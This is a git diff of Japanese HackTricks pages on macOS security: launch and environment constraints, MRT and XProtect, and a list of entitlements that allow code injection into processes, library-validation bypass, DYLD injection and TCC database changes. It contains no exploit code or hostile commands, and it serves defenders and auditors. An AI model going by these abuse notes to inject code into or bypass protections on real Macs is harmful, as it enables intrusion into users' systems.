* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
|
||||
|
||||
</details>
|
||||
|
@ -46,9 +46,9 @@ MacOSサンドボックスは、サンドボックスプロファイルで指定
|
|||
[macos-tcc](macos-tcc/)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### 起動制約
|
||||
### 起動/環境制約と信頼キャッシュ
|
||||
|
||||
macOSの起動制約は、**誰がプロセスを起動できるか**、**どのように**、**どこから**起動できるかを定義することによって、プロセスの起動を**規制する**セキュリティ機能です。macOS Venturaで導入されたトラストキャッシュ内の制約カテゴリにシステムバイナリを分類します。各実行可能バイナリには、**自己**、**親**、**責任**の制約を含む、その**起動**に対する**ルール**が設定されています。macOS Sonomaでは、サードパーティのアプリケーションに拡張された**環境**制約として、これらの機能は、プロセスの起動条件を制御することにより、潜在的なシステムの脆弱性を軽減するのに役立ちます。
|
||||
macOSの起動制約は、プロセスの起動を**調整するセキュリティ機能**であり、プロセスの起動を**誰が**、**どのように**、**どこから**行えるかを定義します。macOS Venturaで導入されたこれらは、システムバイナリを**信頼キャッシュ**内の制約カテゴリに分類します。各実行可能バイナリには、**自己**、**親**、**責任**の制約を含む**起動**のための**ルール**が設定されています。macOS Sonomaでは、サードパーティのアプリケーションにも拡張され、これらの機能はプロセスの起動条件を制御することで、潜在的なシステムの脆弱性を緩和するのに役立ちます。
|
||||
|
||||
{% content-ref url="macos-launch-environment-constraints.md" %}
|
||||
[macos-launch-environment-constraints.md](macos-launch-environment-constraints.md)
|
||||
|
@ -56,13 +56,13 @@ macOSの起動制約は、**誰がプロセスを起動できるか**、**どの
|
|||
|
||||
## MRT - マルウェア除去ツール
|
||||
|
||||
マルウェア除去ツール(MRT)は、macOSのセキュリティインフラのもう一つの部分です。その名前からもわかるように、MRTの主な機能は、感染したシステムから既知のマルウェアを**削除すること**です。
|
||||
マルウェア除去ツール(MRT)は、macOSのセキュリティインフラの一部です。その名前からもわかるように、MRTの主な機能は、感染したシステムから既知のマルウェアを**削除すること**です。
|
||||
|
||||
マルウェアがMacで検出されると(XProtectまたは他の手段によって)、MRTはマルウェアを自動的に**削除するために使用**されることがあります。MRTはバックグラウンドで静かに動作し、通常はシステムが更新されるときや新しいマルウェア定義がダウンロードされるときに実行されます(マルウェアを検出するためのMRTのルールはバイナリ内にあるようです)。
|
||||
Macでマルウェアが検出されると(XProtectまたは他の手段によって)、MRTを使用してマルウェアを自動的に**削除**することができます。MRTはバックグラウンドで静かに動作し、通常はシステムが更新されるときや新しいマルウェア定義がダウンロードされるときに実行されます(マルウェアを検出するためのMRTのルールはバイナリ内にあるようです)。
|
||||
|
||||
XProtectとMRTは、どちらもmacOSのセキュリティ対策の一部ですが、異なる機能を果たしています:
|
||||
|
||||
* **XProtect**は予防ツールです。ファイルが(特定のアプリケーションを介して)ダウンロードされるときに**ファイルをチェック**し、既知のマルウェアの種類を検出した場合は、**ファイルを開かないように**して、最初にシステムにマルウェアが感染するのを防ぎます。
|
||||
* **XProtect**は予防ツールです。ファイルが(特定のアプリケーションを介して)ダウンロードされるときに**ファイルをチェック**し、既知のマルウェアの種類を検出した場合は、ファイルを**開かないように**して、マルウェアが最初にシステムに感染するのを防ぎます。
|
||||
* 一方、**MRT**は**反応型のツール**です。マルウェアがシステムで検出された後、問題のあるソフトウェアを**削除**してシステムをクリーンアップすることを目的としています。
|
||||
|
||||
MRTアプリケーションは、**`/Library/Apple/System/Library/CoreServices/MRT.app`**にあります。
|
||||
|
@ -144,10 +144,10 @@ BTMに関する参考文献と**詳細情報**:
|
|||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* **サイバーセキュリティ企業で働いていますか**? HackTricksで**会社を宣伝**したいですか?または、**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
|
||||
* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **ハッキングのトリックを共有する**ために、PRを**hacktricksリポジトリ**と**hacktricks-cloudリポジトリ**に提出してください。
|
||||
* **サイバーセキュリティ企業で働いていますか**? HackTricksで**会社を宣伝**したいですか?または、**最新バージョンのPEASSにアクセス**したいですか、またはHackTricksを**PDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう、独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです
|
||||
* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォロー**してください。
|
||||
* **ハッキングのトリックを共有**するには、[**hacktricksリポジトリ**](https://github.com/carlospolop/hacktricks)と[**hacktricks-cloudリポジトリ**](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください。
|
||||
|
||||
</details>
|
||||
|
|
|
@ -5,9 +5,9 @@
|
|||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
|
||||
* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください、私たちの独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクション
|
||||
* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
|
||||
|
||||
</details>
|
||||
|
@ -28,31 +28,35 @@
|
|||
|
||||
### **`com.apple.system-task-ports`(以前は`task_for_pid-allow`と呼ばれていました)**
|
||||
|
||||
この権限を使用すると、カーネルを除く**任意の**プロセスの**タスクポート**を取得できます。詳細については[**こちらを参照**](../mac-os-architecture/macos-ipc-inter-process-communication/)してください。
|
||||
この権限は、カーネルを除く**任意の**プロセスの**タスクポートを取得**することができます。詳細については[**こちらを参照**](../mac-os-architecture/macos-ipc-inter-process-communication/)してください。
|
||||
|
||||
### `com.apple.security.get-task-allow`
|
||||
|
||||
この権限を持つ他のプロセスは、この権限を持つバイナリで実行されるプロセスのタスクポートを取得し、それに**コードをインジェクト**することができます。詳細については[**こちらを参照**](../mac-os-architecture/macos-ipc-inter-process-communication/)してください。
|
||||
この権限は、**`com.apple.security.cs.debugger`**権限を持つ他のプロセスが、この権限を持つバイナリで実行されるプロセスのタスクポートを取得し、それにコードを注入することができます。詳細については[**こちらを参照**](../mac-os-architecture/macos-ipc-inter-process-communication/)してください。
|
||||
|
||||
### `com.apple.security.cs.debugger`
|
||||
|
||||
デバッグツール権限を持つアプリは、`Get Task Allow`権限が`true`に設定された署名されていないサードパーティアプリに対して`task_for_pid()`を呼び出して有効なタスクポートを取得できます。ただし、デバッグツール権限を持っていても、デバッガは**`Get Task Allow`権限を持たないプロセスのタスクポート**を取得することはできません。したがって、これらのプロセスはシステム整合性保護によって保護されています。詳細については[**こちらを参照**](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_debugger)してください。
|
||||
デバッグツール権限を持つアプリは、`Get Task Allow`権限が`true`に設定された署名されていないサードパーティアプリに対して`task_for_pid()`を呼び出して有効なタスクポートを取得することができます。ただし、デバッグツール権限を持っていても、デバッガは**`Get Task Allow`権限を持たないプロセスのタスクポート**を取得することはできません。したがって、これらのプロセスはシステム整合性保護によって保護されています。詳細については[**こちらを参照**](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_debugger)してください。
|
||||
|
||||
### `com.apple.security.cs.disable-library-validation`
|
||||
|
||||
この権限を使用すると、Appleによって署名されていないか、メインの実行可能ファイルと同じチームIDで署名されていないフレームワーク、プラグイン、またはライブラリを**ロード**することができます。したがって、攻撃者は任意のライブラリのロードを悪用してコードをインジェクトすることができます。詳細については[**こちらを参照**](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_disable-library-validation)してください。
|
||||
この権限は、Appleによって署名されていないか、メインの実行可能ファイルと同じチームIDで署名されていないフレームワーク、プラグイン、またはライブラリを**ロードすることができます**。したがって、攻撃者は任意のライブラリのロードを悪用してコードを注入することができます。詳細については[**こちらを参照**](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_disable-library-validation)してください。
|
||||
|
||||
### `com.apple.private.security.clear-library-validation`
|
||||
|
||||
この権限は、**`com.apple.security.cs.disable-library-validation`**と非常に似ていますが、**ライブラリの検証を直接無効にする**代わりに、プロセスがそれを無効にするために`csops`システムコールを呼び出すことができます。詳細については[**こちらを参照**](https://theevilbit.github.io/posts/com.apple.private.security.clear-library-validation/)してください。
|
||||
|
||||
### `com.apple.security.cs.allow-dyld-environment-variables`
|
||||
|
||||
この権限を使用すると、ライブラリやコードをインジェクトするために使用できる**DYLD環境変数**を使用することができます。詳細については[**こちらを参照**](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_allow-dyld-environment-variables)してください。
|
||||
この権限は、ライブラリやコードを注入するために使用される可能性のある**DYLD環境変数**を使用することができます。詳細については[**こちらを参照**](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_allow-dyld-environment-variables)してください。
|
||||
|
||||
### `com.apple.private.tcc.manager`および`com.apple.rootless.storage`.`TCC`
|
||||
|
||||
[**このブログによると**](https://objective-see.org/blog/blog\_0x4C.html)、これらの権限を使用すると、**TCC**データベースを**変更**することができます。
|
||||
[**このブログによると**](https://objective-see.org/blog/blog\_0x4C.html)、これらの権限は**TCC**データベースを**変更**することを許可します。
|
||||
|
||||
### com.apple.private.security.kext-management
|
||||
|
||||
カーネルに**カーネル拡張をロード**するように要求するための権限が必要です。
|
||||
カーネルに**カーネル拡張をロードするように要求**するための権限が必要です。
|
||||
|
||||
### `com.apple.private.tcc.manager.check-by-audit-token`
|
||||
|
||||
|
@ -65,27 +69,42 @@ TODO: [**このレポート**](https://jhftss.github.io/The-Nightmare-of-Apple-O
|
|||
### `com.apple.private.apfs.create-sealed-snapshot`
|
||||
|
||||
TODO: [**このレポート**](https://jhftss.github.io/The-Nightmare-of-Apple-OTA-Update/)には、再起動後にSSVで保護されたコンテンツを更新するために使用できると記載されています。詳細がわかる場合は、PRを送信してください!
|
||||
### `keychain-access-groups`
|
||||
|
||||
このエンタイトルメントは、アプリケーションがアクセスできる**キーチェーン**グループをリストアップします:
|
||||
```xml
|
||||
<key>keychain-access-groups</key>
|
||||
<array>
|
||||
<string>ichat</string>
|
||||
<string>apple</string>
|
||||
<string>appleaccount</string>
|
||||
<string>InternetAccounts</string>
|
||||
<string>IMCore</string>
|
||||
</array>
|
||||
```
|
||||
### **`kTCCServiceSystemPolicyAllFiles`**
|
||||
|
||||
**フルディスクアクセス**権限を付与します。TCCで最も高い権限の1つです。
|
||||
フルディスクアクセス権限を与えます。TCCで最も高い権限の1つです。
|
||||
|
||||
### **`kTCCServiceAppleEvents`**
|
||||
|
||||
アプリが**タスクの自動化**に一般的に使用される他のアプリにイベントを送信できるようにします。他のアプリに付与された権限を悪用することができます。
|
||||
アプリが他のアプリケーションにイベントを送信することを許可します。これは一般的にタスクの自動化に使用されるアプリケーションに対して行われます。他のアプリを制御することで、これらの他のアプリに付与された権限を悪用することができます。
|
||||
|
||||
### **`kTCCServiceSystemPolicySysAdminFiles`**
|
||||
|
||||
ユーザーがホームフォルダを変更するために`NFSHomeDirectory`属性を変更することを許可し、それによってTCCをバイパスすることができます。
|
||||
ユーザーの`NFSHomeDirectory`属性を変更することを許可します。これにより、ユーザーのホームフォルダを変更し、TCCをバイパスすることができます。
|
||||
|
||||
### **`kTCCServiceSystemPolicyAppBundles`**
|
||||
|
||||
デフォルトでは許可されていないアプリ内のフォルダ(app.app内)のアプリを変更することができます。
|
||||
アプリのバンドル内のファイル(app.app内)を変更することを許可します。これはデフォルトでは許可されていません。
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
## Medium
|
||||
|
||||
### `com.apple.security.cs.allow-jit`
|
||||
|
||||
この権限を使用すると、`mmap()`システム関数に`MAP_JIT`フラグを渡すことで、書き込みと実行が可能なメモリを作成することができます。詳細については[**こちらを参照してください**](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_allow-jit)。
|
||||
この権限を使用すると、`mmap()`システム関数に`MAP_JIT`フラグを渡すことで、書き込みと実行が可能なメモリを作成できます。詳細については[**こちらを参照してください**](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_allow-jit)。
|
||||
|
||||
### `com.apple.security.cs.allow-unsigned-executable-memory`
|
||||
|
||||
|
@ -97,10 +116,10 @@ TODO: [**このレポート**](https://jhftss.github.io/The-Nightmare-of-Apple-O
|
|||
|
||||
### `com.apple.security.cs.disable-executable-page-protection`
|
||||
|
||||
この権限を使用すると、自身の実行可能ファイルのセクションをディスク上で変更して強制的に終了することができます。詳細については[**こちらを参照してください**](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_disable-executable-page-protection)。
|
||||
この権限を使用すると、アプリはディスク上の自身の実行可能ファイルのセクションを変更して強制的に終了することができます。詳細については[**こちらを参照してください**](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_disable-executable-page-protection)。
|
||||
|
||||
{% hint style="danger" %}
|
||||
Disable Executable Memory Protection Entitlementは、アプリの基本的なセキュリティ保護を削除する極端な権限であり、攻撃者が検出されずにアプリの実行可能コードを書き換えることが可能になります。可能な限り狭い権限を使用してください。
|
||||
Disable Executable Memory Protection Entitlementは、アプリの基本的なセキュリティ保護を削除する極端な権限であり、攻撃者が検出されずにアプリの実行可能コードを書き換えることが可能になります。可能な限り狭い権限を選択してください。
|
||||
{% endhint %}
|
||||
|
||||
### `com.apple.security.cs.allow-relative-library-loads`
|
||||
|
@ -111,10 +130,10 @@ TODO
|
|||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* **サイバーセキュリティ企業で働いていますか?** HackTricksであなたの会社を宣伝したいですか?または、PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロードしたりしたいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* **サイバーセキュリティ企業で働いていますか? HackTricksであなたの会社を宣伝したいですか?または、PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロードしたりしたいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!**
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[NFT](https://opensea.io/collection/the-peass-family)のコレクションです。
|
||||
* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
|
||||
* **ハッキングのトリックを共有するには、**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出してください。**
|
||||
* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
|
||||
|
||||
</details>
|
||||
|
|
|
@ -7,23 +7,25 @@
|
|||
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
|
||||
* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォロー**してください。
|
||||
* **ハッキングのトリックを共有するには、**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出**してください。
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
|
||||
*
|
||||
* .
|
||||
|
||||
</details>
|
||||
|
||||
## 基本情報
|
||||
|
||||
macOSの起動制約は、**プロセスの起動方法、起動者、起動元の場所を制御**することでセキュリティを強化するために導入されました。macOS Venturaから導入され、システムバイナリを異なる制約カテゴリに分類する**信頼キャッシュ**内で定義される制約フレームワークを提供します。これらの制約はシステム内のすべての実行可能バイナリに適用され、特定のバイナリの起動に必要な要件を規定する**ルール**のセットを含みます。これらのルールには、バイナリが満たす必要がある自己制約、親プロセスが満たす必要がある親制約、および他の関連エンティティが遵守する必要がある責任制約が含まれます。
|
||||
macOSの起動制約は、**プロセスの開始方法、実行者、および場所を制御**することでセキュリティを強化するために導入されました。macOS Venturaで導入され、システムバイナリを異なる制約カテゴリに分類する**信頼キャッシュ**内で定義される制約フレームワークを提供します。これらの制約はシステム内のすべての実行可能バイナリに適用され、特定のバイナリを起動するための要件を規定する**ルール**のセットを含みます。これらのルールには、バイナリが満たす必要がある自己制約、親プロセスが満たす必要がある親制約、および他の関連エンティティが守る必要がある責任制約が含まれます。
|
||||
|
||||
このメカニズムは、macOS Sonomaから始まる**環境制約**を介してサードパーティのアプリにも適用され、開発者は環境制約のために**キーと値のセット**を指定することでアプリを保護することができます。
|
||||
このメカニズムは、macOS Sonomaからはサードパーティのアプリにも**環境制約**を適用することができます。これにより、開発者はアプリを保護するために**環境制約のキーと値のセット**を指定することができます。
|
||||
|
||||
起動環境とライブラリの制約は、**`launchd`プロパティリストファイル**に保存するか、コードサイニングで使用する**別個のプロパティリストファイル**に保存します。
|
||||
起動環境とライブラリの制約は、**`launchd`プロパティリストファイル**に保存するか、**コードサイニングで使用する別のプロパティリスト**ファイルに保存します。
|
||||
|
||||
制約には4つのタイプがあります:
|
||||
|
||||
* **自己制約**:**実行中の**バイナリに適用される制約。
|
||||
* **親プロセス制約**:**プロセスの親**に適用される制約(たとえば**`launchd`**がXPサービスを実行している場合)。
|
||||
* **親プロセス制約**:**プロセスの親**に適用される制約(たとえば、**`launchd`**がXPサービスを実行している場合)。
|
||||
* **責任制約**:XPC通信でサービスを呼び出す**プロセスに適用**される制約。
|
||||
* **ライブラリロード制約**:ロードできるコードを選択的に記述するためにライブラリロード制約を使用します。
|
||||
|
||||
|
@ -33,7 +35,7 @@ macOSの起動制約は、**プロセスの起動方法、起動者、起動元
|
|||
|
||||
## LCカテゴリ
|
||||
|
||||
LCは、事実と論理演算(and、orなど)から構成されるもので、事実を組み合わせます。
|
||||
LCは、**事実**と**論理演算**(and、orなど)から構成されるもので、事実を組み合わせます。
|
||||
|
||||
[**LCが使用できる事実は文書化されています**](https://developer.apple.com/documentation/security/defining\_launch\_environment\_and\_library\_constraints)。例えば:
|
||||
|
||||
|
@ -49,7 +51,7 @@ LCは、事実と論理演算(and、orなど)から構成されるもので
|
|||
Appleのバイナリが署名されると、それは**信頼キャッシュ**内の**LCカテゴリ**に割り当てられます。
|
||||
|
||||
* **iOS 16のLCカテゴリ**は[**ここで逆向きにドキュメント化されています**](https://gist.github.com/LinusHenze/4cd5d7ef057a144cda7234e2c247c056)。
|
||||
* 現在の**LCカテゴリ(macOS 14 - Somona)**は逆向きになっており、[**ここで説明が見つかります**](https://gist.github.com/theevilbit/a6fef1e0397425a334d064f7b6e1be53)。
|
||||
* 現在の**LCカテゴリ(macOS 14** - Somona)は逆向きになっており、[**ここで説明が見つかります**](https://gist.github.com/theevilbit/a6fef1e0397425a334d064f7b6e1be53)。
|
||||
|
||||
たとえば、カテゴリ1は:
|
||||
```
|
||||
|
@ -158,7 +160,7 @@ uint8_t reserved0;
|
|||
|
||||
### XPCデーモンの保護
|
||||
|
||||
この執筆時点(Sonomaリリース)では、デーモンXPCサービスの**責任あるプロセスはXPCサービス自体**であり、接続するクライアントではありません(FB: FB13206884を提出)。一瞬の間、バグであると仮定しても、私たちは**攻撃者のコードでXPCサービスを起動することはできません**が、それが**既にアクティブ**である場合(元のアプリによって呼び出された可能性があるため)、接続することを防ぐものは何もありません。したがって、制約を設定することは良い考えかもしれませんし、攻撃の時間枠を制限することもできますが、それは主要な問題を解決するものではなく、私たちのXPCサービスは依然として接続するクライアントを適切に検証する必要があります。それが唯一のセキュリティ確保方法です。また、最初に述べたように、現在はこの方法では機能しません。
|
||||
この執筆時点(Sonomaリリース)では、デーモンXPCサービスの**責任あるプロセスはXPCサービス自体**であり、接続するクライアントではありません(FB: FB13206884を提出)。一瞬バグだと仮定しても、私たちは**攻撃者のコードでXPCサービスを起動することはできません**が、それが**既にアクティブ**である場合(元のアプリによって呼び出された可能性があるため)、接続することを防ぐものは何もありません。したがって、制約を設定することは良い考えかもしれませんし、攻撃の時間枠を制限することもできますが、それは主要な問題を解決するものではなく、私たちのXPCサービスは依然として接続するクライアントを適切に検証する必要があります。それが唯一のセキュリティ確保方法です。また、最初に述べたように、現在はこの方法では機能しません。
|
||||
|
||||
### Electronの保護
|
||||
|
||||
|
@ -177,9 +179,9 @@ uint8_t reserved0;
|
|||
|
||||
* **サイバーセキュリティ企業で働いていますか?** HackTricksで**会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけて、独占的な[NFT](https://opensea.io/collection/the-peass-family)のコレクションを発見してください。
|
||||
* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォロー**してください。
|
||||
* **ハッキングのトリックを共有するには、**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出**してください。
|
||||
* [**公式のPEASS&HackTricksグッズ**](https://peass.creator-spring.com)を手に入れましょう。
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
|
||||
* **ハッキングのトリックを共有するには、**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出してください。**
|
||||
*
|
||||
* .
|
||||
|
||||
|
|
|
@ -6,15 +6,15 @@
|
|||
|
||||
* **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
|
||||
* [**公式のPEASS&HackTricks swag**](https://peass.creator-spring.com)を手に入れましょう。
|
||||
* [**公式のPEASS&HackTricksのスワッグ**](https://peass.creator-spring.com)を手に入れましょう。
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
|
||||
|
||||
</details>
|
||||
|
||||
